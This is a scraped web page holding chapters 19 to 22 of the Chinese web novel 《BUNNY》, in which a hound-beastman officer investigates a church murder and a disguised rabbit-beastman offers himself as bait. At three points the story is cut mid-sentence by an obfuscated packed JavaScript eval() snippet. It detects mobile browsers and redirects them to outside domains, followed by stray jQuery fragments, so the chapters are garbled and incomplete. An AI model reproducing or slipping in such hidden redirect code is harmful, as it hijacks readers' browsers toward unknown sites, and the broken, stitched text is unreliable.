整个教堂分为宽敞广阔的主教堂,和细长的钟楼,主教堂负责承接一切宗教活动,包括注意礼拜、唱诗读经,还有一年一度、刚过去没多久的神耀日等等。 而钟楼更像是神职人员的生活区,也会给像他们这样路过的人们,提供雪中送炭的食宿。 钟楼和主教堂相连,雪茸沿着两旁是透明玻璃的长廊,一边朝下张望,一边朝着主教堂的方向走去。 教堂之下,热闹的大街、肮脏的巷道、弥散的蒸汽、奔走的行人……所有人都有着自己的忙碌,即便在这样小的地方,太阳也不愿照进阴仄的小路,明 19.目光女神019 《BUNNY》全本免费阅读 “五天!最迟五天!!否则布朗小姐一定会送你下地狱的!” 闻玉白走进教堂时,身后的牧师们还在做着声嘶力竭的控诉。他有些烦躁地皱起眉,表情沉了下去。 作为一个外乡人,闻玉白对大陆这口口相传的鬼神之说,自然是毫无兴趣、半点儿不信。但这不代表他的时间很宽裕。 但是这五天时间,如果自己没能拿出点成果,怕不是这群牧师会联合闻风清一道,给自己尝点儿苦头了。 闻玉白烦躁地摸了摸口笼的边缘,有那么一瞬间,脑子里闪现出闻风清那张阴仄晦气的脸,手指节的尽头险些控制不住露出了黑色的兽爪。 下一秒,他又强迫自己平复下来——不要随便发疯,否则就真的跟笼子里的动物没有区别了。 踏进教堂的长廊时,闻玉白脸上的烦躁、暴戾、阴冷都统统消散了。取而代之的,又是一副平淡、冷漠的置身事外。 他看了一眼星星点点分布着人群的教堂,没有去找莫里斯神父,而是抬眼看向一旁的警员:“带来了吗?” 警员立刻站直:“带来了!” 说罢,立刻小跑着从后门离开,片刻之后,牵来了一只身材佝偻、兽面人身的猎犬——这才是大多数猎犬该有的样子,丑陋、愚笨、畸形,长相随机融合着犬类和人类的特征,智力却普遍只比普通犬类稍稍高出一点。 因此,像闻玉白和闻长生这样的,真的堪称天花板级别的极品。 闻玉白看了那猎犬一眼,目光中没有任何一丝波动,只是很顺手地就接过了警员手中的牵引绳。 一只猎犬牵着另一只猎犬,这画面怎么看都多少有些诡异,但警员又忍不住想,如果把这位闻长官看成是个和自己一样的人类,似乎一切都变得和谐多了。 此时,猎犬被闻玉白牵在手里,抬眼望着那跟自己相像又完全不一样的“人”。连一旁的警员都看得出来,猎犬很希望这位临时主人能摸摸他的脑袋,但闻玉白却十分决绝地过滤掉了它眼中的乞求,俯身给它闻了闻奎尔的遗物,继而发令道:“开始吧。” 闻玉白主动屏蔽了自己的嗅觉,这段时间里,他连进食都寡然无味。但这并不会对工作进度造成什么影响——闻东西而已,随随便便一条猎犬都能做得到。 很快,这只从埃城警署临时抽调来的猎犬,就领着闻玉白来到了侧面的钟楼,在最门口最显眼处的一间屋子前坐下。 闻玉白刚握上门把手,就听见身后传来一个匆匆忙忙的声音:“长官,那是杰克的房间,他现在应该还病着……” 转过身,慌忙赶来的是一脸憔悴的莫里斯神父。闻玉白搭在门把上的手并没有松开,只是问:“杰克·福德?” “对。”莫里斯神父说,“早上他碰巧看见……当场就吓得晕倒了。” 杰克·福德就是现场的另一个目击者。闻玉白点点头,没有再理会莫里斯的阻拦,直接拧起把手——“咔哒”一声,门并没有打开,而是在里面反锁了。 大约是听到了外面的动静,房间里传来了一声气若游丝的问话:“……谁啊?” 闻玉白懒得多说一句废话,只命令道:“开门。” 莫里斯神父有些为难,好半天才凑过去,隔着门道:“杰克,是警督来了,问两句话就走。” 听到莫里斯神父的话,对面才缓慢地走过来。 “咔哒”。听到门锁解开,闻玉白没有客气,直接一把拉开门。对面被这没有防备的动作带得一个趔趄,差点儿直接栽了出去。 这是个三十岁上下的男子,面色蜡黄难看,双目无神、眼球布满血丝,厚厚的黑眼圈挂在脸上,活一副死人模样——看样子是真受到了不小的惊吓。 闻玉白上下扫视他一眼,冷冷问:“病了还锁门?不怕死在里头?” 杰克·福德抬起他充血的眼睛,低声喃喃道:“我宁可病死,也不要被杀死。” 根据其他人的描述,杰克·福德自见了那现场以后,就总担心有人要害他,关窗锁门一条龙,除了莫里斯神父,别人怎么喊都喊不动。 闻玉白尚且不再追究锁门的事,而是牵着猎犬径直进了他的房间——乱得一塌糊涂。 闻玉白看着满屋子乱飞的衣物,忍不住皱起眉头。 看猎犬往床下钻,杰克·福德慢慢走过去,弯下腰,从床下掏出一件袍子,目光愣愣地问猎犬:“你找这个?” 猎犬摇摇尾巴,抬头看向闻玉白。 袍子展开的一瞬间,闻玉白眯起了眼——这是牧师平时工作时穿的衣服,看样子应该是杰克·福德的尺码,而那袍子展开的部分,正沾着一大片暗红色的血渍。 看猎犬的反应,不出意外,这应该是奎尔的血。 杰克·福德低头看着那衣服,好半天面色才苍白起来:“啊,原来丢这里了……我还没来得及洗。” 见闻玉白眼中的杀气越来越重,身后的莫里斯神父赶忙跟过来解释道:“今天早上杰克看到尸体之后,直接一头栽进血泊里了,当时他被带回来的时候,满身都是血,我们都吓坏了……” 这么巧?闻玉白并不相信:“害怕还凑那么近去看?” 杰克·福德这才有些痛苦地抬头望他:“我不过去,谁来安慰这孩子迷茫的灵魂?” 一听这人又要往那些神乎其神的方向扯,闻玉白的耐心再次告罄,他不耐烦地摆摆手—— 奎尔的气味主要来自那件沾血的长袍,而根据他们所说,长袍沾血也只是意外。 但这一面之词,不可能让闻玉白放下疑心。他派人明目张胆地安插在了杰克的屋子边,就很快进入到接下来的搜查取证工作中去了。 如果真是杰克,至少要稳住不让他继续作案,露出马脚那更是迟早的事。 与此同时,闻玉白带来的人正在清理教堂内的闲杂人等——临时性经过的信徒经过身份登记后全部清空,其余常住人口统统划进嫌疑人的范畴,一个都不准走。 这番情况让梅尔和莱安松了口气,不出意外的话,稍等不久他们就能离开这个鬼地方了。 但总有那么些思路比较清奇的—— “要是被赶走了,那我刚布置的那些机关岂不都是白弄了?”雪茸颇有些不满道,“天知道那个反射镜的角度有多难找!” 此话一出,莱安又差点儿背过气去,梅尔也阴着脸指着他低声警告道:“闭嘴,少给我说这些晦气的!” 雪茸看了一眼直到眉心的食指,无奈地瘪了瘪嘴。 被两个人严防死守着的雪茸,此时只能身着一身端庄大方、低调不显眼的女装,百无聊赖地等待着。 梅尔怕出现意外,还给他换了个黑色的假发,妆容也随之改变,看上去跟之前被猎犬长官撞上的,完全不像是同一个人。 面对即将赶来搜查的猎犬,这位游刃有余的猫管家也难免有些焦虑,伸手一遍遍帮雪茸整理起衣冠来。 “没用的。”雪茸用手指绕着黑色的长发玩弄,“ 20.目光女神020 看清来人的一瞬间,雪茸听到自己的心脏明显漏跳了一拍。 猎犬带给他的压迫感是来自骨子里的,那是一种原始的、本能的、很难形容的反应,以至于雪茸很难确定,此刻自己全身战栗、心跳加速、体温飙升,究竟是因为恐惧,还是因为兴奋。 好在他还记得自己得是个哑巴,双唇微微翕动后,还是忍住没有发出半点儿声音。 他就这样盯着那双冰冷刺骨的灰色双眸,似乎已经听见了自己血肉被撕扯、咀嚼的声响。 就在他快控制不住牙齿都要打颤时,身后的莱安三步并两步追了上来:“她不会说话,有什么事您可以问我,还请长官不要为难她!” 出息了。雪茸过度紧绷的神经一瞬间松下来,但很显然,面前的狗长官并不是那么好糊弄的。 “你是她什么人?”闻玉白晲着兽瞳朝莱安望去,目光带着冰锥似的,仿佛随时能将那层天衣无缝的伪装戳破。 “……”莱安紧张地吞了口口水,怕自己说错话,悄悄望了雪茸一眼寻求帮助。 雪茸接到信号,用极其微小的幅度做了个手势—— “我们是同乡!”莱安立刻领悟道,“出门在外就是亲人!” 面前的猎犬还是这么居高临下地望着他们,有那么一瞬间,莱安觉得他都快要咬上来了,但许久,他突然轻笑一声,转头看向人群里那位面色阴沉的猫耳青年:“你也是跟他们一起的吧?” 不等梅尔作答,闻玉白又把目光转回雪茸的脸上:“敢问坎贝尔小姐是做什么工作的?” 莱安不敢随意替他作主,正犹豫着要怎么回答,就看雪茸忽然弯起眼睛,接着竟身后拉过了闻玉白的掌心。 闻玉白下意识想抽回手,就看那人白皙的指尖,轻轻落上了自己的手心。 这人的手很漂亮,比女人的手修长些,却又比男人的手更小巧,这家伙平日里大约经常用手,指尖有一层薄薄的茧,不至于粗粝,反倒挠得闻玉白手心痒痒的。 还挺温柔。闻玉白的脑海里不适时地闪过这个评价,下一秒,眼前这厮就在他的手心留下来一串字母——“SEX WORKER”。 一旁偷看的路人立刻发出不大不小的窃窃私语:“卧槽,是个biao子!” 在一片议论声中,这位“美丽少女”便轻轻捞起裙摆,当着众人的面,朝他做了个暗示性极强的动作,是个人大抵都能看出她写在脸上的诚挚邀请——“长官,要来惠顾吗?” 随着周围目光的变质,闻玉白反应过来,自己是被这家伙给调戏了。 气氛在一瞬间凝固到了冰点,他平稳的表情再次出现裂缝,下一秒便转身冷漠道:“给他们三个安排住所,没有我的同意,不准离开这座教堂半步!” 某乌鸦嘴一语成谶,出逃计划彻底失败。 “别看了,上楼干活!” 在一阵诡谲的沉默中,闻玉白愤然离席,只留罪魁祸首和他的两个倒霉跟班儿在原地面面相觑。 在梅尔刀削般地目光下,雪茸无辜地耸了耸肩,接着扭过头,目送着闻玉白一步步走上楼梯,消失在视线里。 看着要来给他们安排住所的牧师,梅尔冷着脸上前一步:“没事儿,她住我们房间。” 这句话一出,路人们都纷纷睁大眼睛——两男一女混住,实在有伤风化,更何况还是干这行的姑娘,啧啧啧…… 梅尔反应过来,看了一眼依旧一脸无辜的雪茸,后牙都快被咬碎了:“我们不会对她怎么样。” 完全不在意自己假身份名誉的雪茸弯了弯眼睛,还没来得及再搞点什么事情,就被梅尔拎着衣领丢进房间里了。 “砰”地一声,门被关紧,梅尔刚握紧拳头打算揍人,雪茸的帽子就“biu”地一下,先发制人地被兔耳朵顶飞了。 看样子被猎犬压着问话的时候,这兔子就已经受了不小的惊吓了,只不过一口气硬是挺到了现在,还顺便坚强地犯了个贱,这才任由失控的耳朵奔逸出来。 “梅尔,我忍得好辛苦啊。”雪茸红着眼睛,一副破碎不堪的模样倒在床上,捂着自己的兔耳朵求饶道,“我都这样了,你就别跟我计较了。” 看着他的脸,梅尔没有半点儿心慈手软的意思,但随着目光下移,他瞥见雪茸胸口那朵素白的雏菊花,这才咬了咬牙,松开了准备揍他的拳头。 一旁的莱安也是受了不小的惊吓,半句话都说不出来,只能瘫在一边挺尸。 雪茸见状,翻了个身,一边自己按揉耳朵根,一边为自己做最后的辩解:“真不怪我,那个狗长官一开始就没打算放我走。” “那你……”梅尔的脏话说到嘴边又咽了回去,他实在问不出口,为什么这家伙要说自己是个……? “我这么说当然有我自己的道理。”雪茸耸耸肩,看他们,“你们不会真以为我是没事找事吧?” 回答他的,是两束万分鄙夷的、毫无信任的目光——别人倒是大抵不会,他的话,还真不一定。 雪茸并不在乎大家的不信任,转身便开始捣鼓房间角落的金属水管,那里连接着楼上的“望远镜”装置。 梅尔无语:“你不会就是为了这个才特意留下来的吧?” 雪茸头都不回:“难说,或许呢,总感觉对面有什么好东西。” 梅尔懒得搭理他,转头变成猫往窗外去了,莱安则凑到了雪茸的身边。 说实话,本来他没多好奇的,但是听雪茸一说,又想到OO的怪异举动,他也想知道阿丽塔的小屋到底藏了什么东西了。 雪茸将眼睛凑上水管口,管口甚至还做了调节视距的装置。 他轻轻旋转着手边的阀门,静静地看着装置的那头。 他看见他的狗长官来到二楼,带着一批人打开了阿丽塔的房门。 狗长官的表情还是那么难看,雪茸忍不住笑出来。 雪茸在这种时候真的又有精力又有耐心,他就这样一动不动地看着他们搜索起现场。 大概是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12466306|130941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕莱安在一旁等得着急,雪茸还非常贴心地给他做现场解说—— “狗长官进了房间,房间里面有很多自制机械装置,应该是阿丽塔自己做的。” “狗长官拿起了一只自制的机械蝴蝶,看了一眼,又放下了——没品味的家伙。” “狗长官在墙边看了很久,墙上挂着的应该是……嗯,优秀学员证书,真是个不错的姑娘。” …… 虽然雪茸每句话都是以“狗长官”作主语,但言语中从不掩饰对阿丽塔才华的肯定。 此时,门外传来莫里斯神父焦急压抑的哭声,莱安转过头去,却又不敢出门安慰。 雪茸虽然坐在装置前一动不动,但倒是眼观六路耳听八方,莱安一个扭头都被他立刻捕捉了去。 “怎么了?心里难受?”雪茸问。 “……嗯。”莱安知道自己藏不住情绪,只能承认道,“莫里斯神父看起来好可怜,他这么善良的人,为什么偏偏遇上这种事……” 如果只是普通的放学未归,那实在太正常不过,但这孩子已经半个月没去上学也没跟家里人联系,又跟凶案的被害人有着种种联系,作为父亲的莫里斯神父怎么可能不担心忧虑呢? 莱安忍不住又回头看了一眼紧闭的大门,他忍不住心想,要是能帮帮忙就好了,雪茸和梅尔这么厉害,要是愿意出手,情况一定会好很多吧? “嗯。”雪茸似乎是看穿了他的想法一般,头也不回地平静道,“但是我们现在也自身难保呢。” 一句话直接封死了莱安还处于萌芽时期的念头,他也很惭愧地进行着自我检讨——是啊,他们自己都落得这步田地了,哪还有精力去管别人家的闲事? “你要是累了就睡吧。”雪茸轻轻对他说,“这边估计还早。” 这是强制让他不要再多管闲事了,莱安在身后的床上找了个拐角,有些难过地把自己蜷缩起来。 闭上眼睛的前一秒,莱安又听见雪茸平静柔和的声音:“有时候太善良是很危险的,莱安。” 莱安的眼睛一酸,把自己埋进被子里:“……好,我知道了。” 莱安不知道自己花了多久才强制入眠,只知道雪茸真就这样耐心地看了一整夜,直到天蒙蒙亮的时候,一直保持静止不动的雪茸,忽然有了动静。 迷迷糊糊中,莱安只知道雪茸朝自己走来,接着一把将藏在他口袋里呼呼大睡的OO掏出来,塞到水管口里去。 那家伙正睡得昏天黑地,一个没留神,圆圆的屁股差点卡在水管里进不去,但很快,它似乎就看到了什么,兴奋地摇起了那小到可以忽略不计的尾巴。 “那是你要找的东西吗?”雪茸问。 OO费劲地从水管里爬出来,然后抱起小爪点头:“吱吱!” 雪茸的脸上便露出一丝笑意来。 “莱安,你说得对。”他转过身,轻轻拍了拍莱安的肩膀,“莫里斯神父是个好人,他女儿出事了,我们必须要帮帮忙才行。” 21.目光女神021 见到这番情景,就是傻子也知道,雪茸不可能突发善心决定要帮莫里斯神父——他一定是在阿丽塔的房间里发现了什么特别的东西,从而改变了他的想法。 虽然莱安已经不再是曾经那个好骗的小傻子了,但不管怎么样,雪茸愿意帮忙,对他来说,就是个让他安心的好消息。 “真的吗?太好了!”莱安感动道,“哥你真是太好了!” 虽然雪茸不是什么好人,但他确实爱听别人夸他人好,于是主动要求满足莱安的好奇心,把望远镜的观赏位让给他。 莱安紧张地凑过去,看到画面的一瞬间,忍不住惊叹起来:“哇!” 虽然一直听雪茸解说,也大概猜得到她的房间别有洞天,但真亲眼目睹时,还是有着相当大的震撼—— 阿丽塔把自己的房间打造成了一个奇思妙想的小天地,放眼望去,遍地都是一些发条装置的机械。从墙上小蜥蜴形状的机械钟,到桌上独角兽形状的八音盒,就连那张小小的单人床,都好像能随时变形的模样…… “哇,这也太厉害了!”莱安被这天花乱坠的世界迷了眼,“这得花很大的功夫吧!” 房梁上,一只小火车踩着轨道呜呜跑着,那东西大概不是简单的发条动力装置,头顶还冒着蒸汽,看起来就像真的火车缩小了一样。 也难怪雪茸看这个能看一整晚,来安心想,真的是每个细节都很有趣。 但显然,雪茸是被某个特定的东西吸引了目光。 他拍了拍莱安的肩,淡淡的菊香调擦到他的耳侧:“看到了吗?狗长官手里拿的那个。” 莱安愣了愣神,朝他说的地方望去—— 闻玉白左手拿着的,是一只款式非常精致、一看价格就十分昂贵的机械表。 毕竟是有钱人家的少爷,莱安一眼就认出来了:“哇,幽火啊!” 雪茸:“幽火?” “是一款非常小众的私人定制手表品牌,我爸花了好大功夫才弄到的,好像还不是顶尖款。”莱安说,“据说这种手表精度非常高,哪怕是跑一百年都不会出现误差,总之很玄乎就是了。” 莱安的父亲埃维尔·德文,有着高不可攀的公爵身份,即便是这样的贵族很难得到的手表,一个神父的女儿是怎么弄到的? 正在莱安犯嘀咕的时候,他的目光又被吸引走了:“卧槽,她居然把表盘给拆了??” “嗯。”雪茸环抱起双臂说,“我让你看的,是他右手拿的东西。” 闻玉白右手拿着的,是一枚小小的密封广口瓶,瓶子里装着的,是一只做工非常精细的手表机芯。机芯的四周,散发着一圈非常微小的紫光,而随着闻玉白轻轻晃动瓶身的动作,机芯的中央,竟生出一丝微渺的、轻柔的紫色气体。 它在瓶子里弥散开来,似乎还在随着晃动轻轻跳跃,看上去就像一只精灵,在光照下微微闪烁。 在莱安惊奇的目光中,雪茸弯弯眼睛,问OO:“这是燃料吗?” OO开心地举起双爪:“叽O3O!” 莱安也明白了什么,问道:“哥,你是要去拿那个东西吗?” “当然不是,那是人家的东西,我怎么能随便拿。”雪茸回道,“这玩意儿我也有,我的还比她多。” 后半句才是重点。 莱安疑惑了:“那你是要……?” “重点不是她有什么,而是她为什么有。”雪茸重新回到装置面前,目不转睛地盯着对面那闪着紫光的小瓶子,“更重要的是,她看起来对这个东西很有研究,能跟她见上一面聊一聊,或许会很有启发。” 莱安觉得有些摸不清这个人的价值体系了——原来只是为了跟人聊几句天,就值得这个精明狡猾的家伙冒着那么大的风险,去解救一个人吗? 莱安困惑的时候,雪茸还在继续看着那瓶子里的漂亮火焰,直到一具身体挡在瓶子前,结结实实遮住了他的视线。 他扒拉了半天视野也没辙,对方甚至挡得更严实了,雪茸有些不耐烦地骂了一句:“烦不烦啊,真碍事……” 可话还没说完,那遮住他视线的身影便凑近了过来,下一秒,一双银灰色的、冷冰冰的眸子,就这样出现在他的视野正中。 望远镜的放大效果此时发挥到了它职业生涯的最极致,那一瞬间,雪茸简直以为那家伙直接贴上了自己的脸! 本来就不经吓的雪茸心脏险些骤停,刚收回去的兔耳朵直接被吓得弹射出来,整个人也失去重心向后仰倒在地板上,接着便捂着胸口,破罐子破摔般咕噜噜滚到一边去了。 “吓死我了……!”雪茸蜷缩在地上,抱着自己哀嚎道。 莱安见状,赶紧把这家伙扶起来喂药茶。雪茸头晕目眩地缓了半天,脑子里噼里啪啦的乱响才消散下去许多。 这时候,他才后知后觉,刚才那双眼睛应该是狗长官的,他刚刚透过管口朝自己看,难道是自己被发现了? 不愧是狗,可真是敏锐。 想到这里,雪茸刚刚平息下去的心跳又开始“砰砰”乱跳,但他很快冷静下来,迅速抬手绑好耳朵,接着快速消灭现场,将眼前被旋转过来的金属管口复位。 果然没过多久,他就听到走廊传来狗长官那硬底军用长靴独有的脚步声。那人应当是在自己的门前徘徊了一圈,正当雪茸压着心跳以为对方要进来时,对方的脚步却停了下来。 雪茸微微蹙眉,一边拿起靠在门边的金属手杖,一边把耳朵贴到木门去。 他听见有人急匆匆跑过来—— “报告长官,加急统计了近半年来的失踪人口。”那人说,“和你预估的一样,车厘街有大量年轻女性性工作者失踪未归、生死不明,多数为孤儿身份,而且根据调查结果来看,大多都有着同一个特点——。” 话还没说完,闻玉白就猜出了答案:“眼睛很好看。” 眼下,虽然只有一具尸体浮出水面,但是却有越来越多的人员确认失踪,联系到昨晚才消失的莉莉丝·格林,证明凶手极大可能依旧在疯狂地、高频率地行凶作案。 当务之急就是要找到凶手,否则每耽搁一天,就可能有更多的受害者出现。 可他们目前的侦查时间太短、线索太少,对于凶手的行踪根本无法预测,闻玉白皱紧了眉。 就在警员准备报告更多信息的时候,闻玉白突然举起手,拦住不让他继续说。他皱起眉,头顶的兽耳微微转动,目光很快锁定在走廊尽头的那扇门前。 几乎只是一眨眼的功夫,闻玉白快步闪现在门前,没有给任何人反应的机会,冷着脸,“唰”地打开门。 下一秒,那位“艾琳小姐”便趔趔趄趄撞出了门。 四目相对,空气在沉默中窒息到快要死去,下一秒,艾琳小姐有些尴尬地朝他弯眼笑起来,一副想凭美貌蒙混过关的样子,显然是把他们的话都听了去。 偷窥办案现场还不够,现在又来偷听最新案情?闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12489919|130941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉白咬紧了牙关——难道他挑衅自己不够,还要干扰自己办案不成? 此时此刻,他百分百确认,眼前这个家伙,就是他心心念念的那只兔子。他又想起了奎尔口袋里的那枚兔子味的银币——谁能保证,他真的跟杀人案没关系呢? 必须要在他惹出大麻烦前处理掉他。 念头闪过的一瞬间,闻玉白毫不客气地拉起“少女”的衣襟,几乎没有费力,就把人揪了出来、塞进对面的空房间,还没等“她”的小跟班作出反应,他便砰的一声,将门关好、反锁。 一瞬间天旋地转。面对他粗暴的动作,少女只站在原地,怯生生看着他,那带着无辜和恐惧的双眼,让闻玉白有那么一瞬间动摇了心思。 他下意识看向“少女”的眼睛—— 如果说,那几名死者的眼睛算得上“漂亮”,那么眼前这双眸子可以算得上是惊为天人。透彻、清亮,像是一张用金丝织成的蛛网,只叫经过的猎物看了都忍不住往下坠去。 这也是化成灰自己都能认出他的原因——这就是兔子的眼睛,他就是兔子。 野兽的尖爪已经毫不留情地伸长,闻玉白蹙眉,直接伸手掐住了“少女”的脖子抵在墙上。 他盯着眼前那缱绻勾人的眸子,看着自己爪子下的皮肤开始变红,他还没有发力,否则这家伙的脑袋,早就该掉到地上。 少女的脸色开始变得难看,似乎想要咳嗽,但却使不上力气,楚楚可怜的模样看着叫人心疼。 “别装了。”闻玉白迅速收拾起怜悯之心,阴冷地开口道,“我早就知道……” 闻玉白开口的一瞬间,“少女”脸上的痛苦便顺势不见了,取而代之的,是一丝熟悉的、让闻玉白恼火的笑意。 “长官?”“哑巴少女”开口唤了一声,属于青年男性的声音约等于直接摊牌——是的,我不装了。 闻玉白猜不透他的举动,只能警惕地半眯起眼,手上的动作没有半点松懈。 “少女”带着笑意抬眸,长长的睫毛在他的心尖扫过:“你觉得,我的眼睛够漂亮吗?” 他轻轻的声音落在耳畔,勾得闻玉白忍不住再去看他的双眸。 心脏轻颤的当口,闻玉白便觉得自己又被人戏弄了,他一阵怒火攻心,手心发力,将人死死掐在手心里。 “你到底想耍什么花招?协助杀人?还是单纯只是想毁了这个案子?”他盯着雪茸苍白的脸,凑到他耳边咬牙切齿地低声警告道,“你知不知道就算这个案子破不了,我拿你的头照样可以交差?” 看着那人逐渐涨红的脸,闻玉白刚要发力,就听那人嗤笑一声:“你把我当什么人了?长官?” 这一声笑,让闻玉白骤然收力。那人顺势抬起手,手指像鱼尾一样在他的指节扫过,然后非常温柔地碰住了闻玉白的兽爪。 他的手心温热柔软,甚至将闻玉白紧绷的指节缓慢融化。 见他不再施力,雪茸便得寸进尺地,轻轻用手,一根一根剥开闻玉白掐在自己脖子上的尖爪。 在闻玉白的注视下,他摸了摸自己被掐红的脖颈,又理了理被弄乱的衣襟,接着微微垫起脚,凑到闻玉白的耳边,贴向他冰凉的口笼: “我是说,我来当饵子,帮你把坏人勾出来,怎么样?” 雪茸笑眯眯地,用那带着钩子似的眼睛望向他,浓密卷翘的睫毛扫得闻玉白脸微微发痒—— “闻长官,你需要兔子的帮助,对吗?” 22.目光女神022 天敌的气息是一种极其强烈的刺激,气温似乎在一瞬间腾然飙升,燃起一丛烈焰将两人炙烤着。 此时此刻,两个人的心跳声在窄窄的房间里交织着,有来自弱者生理性的恐惧,也有来自捕食者条件反射的垂涎。 闻玉白死死盯着对方的眼睛,喉咙开始止不住地发痒——和之前的努力掩饰不同,眼下,面前这个兔子似乎有意释放属于猎物的信息素,那种毫不掩饰的示弱,一瞬间激得他的侵\占\欲又高了几分。 感受到了气氛有些微妙,雪茸也抬起了眸子。 他看着对方的喉结难以自抑地微微滑动,腿脚也开始有些发软,眼看着恐惧要爬到脸上,他立刻弯起眼,轻轻伸手推开了面前的人:“抱歉,离得太近了,有点害怕被长官吃掉。” 欲望这样被直白地点破,闻玉白的表情微微有些松动,还没来得及尴尬,雪茸就很贴心地将话题拉了回来:“所以长官愿意跟我合作吗?” 看着闻玉白完全没有信任的眼神,雪茸不骄也不躁,慢条斯理地问道:“或者说,长官你有什么好的法子,可以在最短的时间内找到凶手?” 闻玉白上下扫视了他一眼,没有接他的话茬,而是反问他:“这就是你刚才在大庭广众之下,宣称自己是妓/女的原因?” “不然呢?”雪茸笑起来,又用那看起来就不怎么正经的眼神,明目张胆地撩拨起对方来,“长官你该不会以为,我只是单纯想要逗弄你吧?” 闻玉白的气息再一次变得危险起来,雪茸有所察觉,赶忙有条不紊地把话题拉回来:“二十岁上下的女性性工作者、习惯夜间独自出行、有着漂亮的眼睛……凶手挑对象还是很专一的。” 闻玉白盯着他,目光扫视到他的胸口处,那里别着一朵小小的雏菊花——雏菊。 他再度眯起眼来,沉默半晌,才不冷不热道:“消息挺灵通。” “我也有自己的探子。”雪茸微微扬起嘴角,“他很能干,看样子不比你那一队人马差。” “那只猫?”闻玉白说。 雪茸没有回答他,而是慢悠悠地再次拉回话题:“闻长官真的不考虑考虑我吗?送上门的免费劳动力,找到凶手功劳归你,要是我一不小心因公殉职,也了了你另一桩心事,怎么看都不亏啊。” “图什么?”闻玉白的脸上写满了不信任。 闻玉白的气场极其压人,如果雪茸的回答不如他的意,怕是下一秒就要直接咬碎他的脖颈。 “图你能暂时放我一马。”雪茸打量着闻玉白面上的口笼,弯着眼睛笑道,“我总得体现点价值,不然闻长官刚才大概就已经把我抽筋剥皮了吧?” 这样实在又坦然的回答,让闻玉白还算满意,但他依旧对这个狡猾的兔子充满戒心。 “长官,你不用这么提防着我。”看出了他的不信任,雪茸一手摊开,一手握住手杖在地板上点了点,“我身体不好,力气也不大,跑都跑不远,你想抓我,也不在乎这一天两天。” 虽然句句在理,但这人总给他一种掌控一切的自如感,他身上那过分的游刃有余,大概是闻玉白最顾忌的存在。 “没关系,长官,你可以考虑好了再来找我。”雪茸朝他行了个绅士礼,转身打开门。 临末了,他还不忘回过头,对闻玉白笑道:“我可以等你,但凶手那边,可就不是我说的算了。” 目送着那“少女”拄着手杖的背影从视线中消失,闻玉白便当即转身将门锁好,再次把自己浸回黑暗中。 虽然主动关闭了嗅觉,但是猎物的磁场并不会被消失。这一回,那兔子似乎有意勾起自己的冲动,好几次,好几个瞬间,他都想狠狠咬断那家伙细长洁白的脖颈,毫无顾忌地去吞咽那温热泉涌的鲜血。 强行压制本能是件非常艰难且痛苦的事情,这也是闻玉白作为特级猎犬,唯一一个未能完成的课题。 他想起了闻风清不止一次逼着自己抬头,去看镜子里那双血红的、完全兽化失控的眼睛,去看那封住他獠牙的口笼—— “看清自己的模样。”他听见闻风清得逞的笑意,“畜生永远都是畜生。” 强烈的饮血的渴望让闻玉白的双眼微微有些充血,他靠在墙边,闭上双眼调整呼吸。 但这兔子和平时训练场上的生肉并不一样,那是一种极具诱惑力的气息,即便是屏蔽了嗅觉,也足够让他的血液疯狂翻涌。 想咬他的脖子,想喝他的血。 闻玉白微微侧身,但就在抬腿出门捕猎的前一秒,他又想到了这家伙刚才说的话——他的眼睛足够漂亮,他可是个不可多得的好诱饵,他是破局的关键一环。 “……!” 闻玉白猛地攥紧拳头,肆意生长的兽爪刺破了他的掌心。 鲜血顺着他的掌纹滴落到地上,直到轻微的刺痛感后知后觉地爬上脊柱,那些冲动和燥热在一瞬间退潮,他才骤然睁开眼睛。 对,没错,现在不是吃掉兔子的时候。闻玉白的脑海里清晰地闪现出这个念头,于是他便知道,自己克服过去了。 他低下头,轻轻擦掉了手心的血迹,再抬头时,目光已经恢复了平静。 微微的成就感爬上心头——所谓动物的本能,也不是无法克服的。 与此同时,被所谓“本能”和“磁场”影响的,当然远不止这狩猎者。 身后的门刚一合紧,上一秒还神色镇定的雪茸,便立刻面色苍白地瘫软了下去。 好在门外还有两位机敏的同伴,他们一直守在门口仔细听着里面的动静,门被推开的一瞬间,梅尔第一时间走上前伸手将人捞起来,接着,人高马大的莱安便马不停蹄将人背回了房间。 “咳咳……!!” 一回到房间,雪茸便控制不住地咳嗽起来,他的心脏像是被刀割了一般疼痛,肺里的空气也像是被抽干了一般,整个人呈现出一种溺水的濒死感。 梅尔赶紧将人平放到床上,一边拉过他的手腕,摁揉内侧正中央的凹陷处,安抚着他的情绪、慢慢引导他调整呼吸:“冷静,放松,跟着我的节奏,吸气,呼气……” 雪茸说不出半句话来,紧皱着眉,双腿痛苦地蹬了几下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12506700|130941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 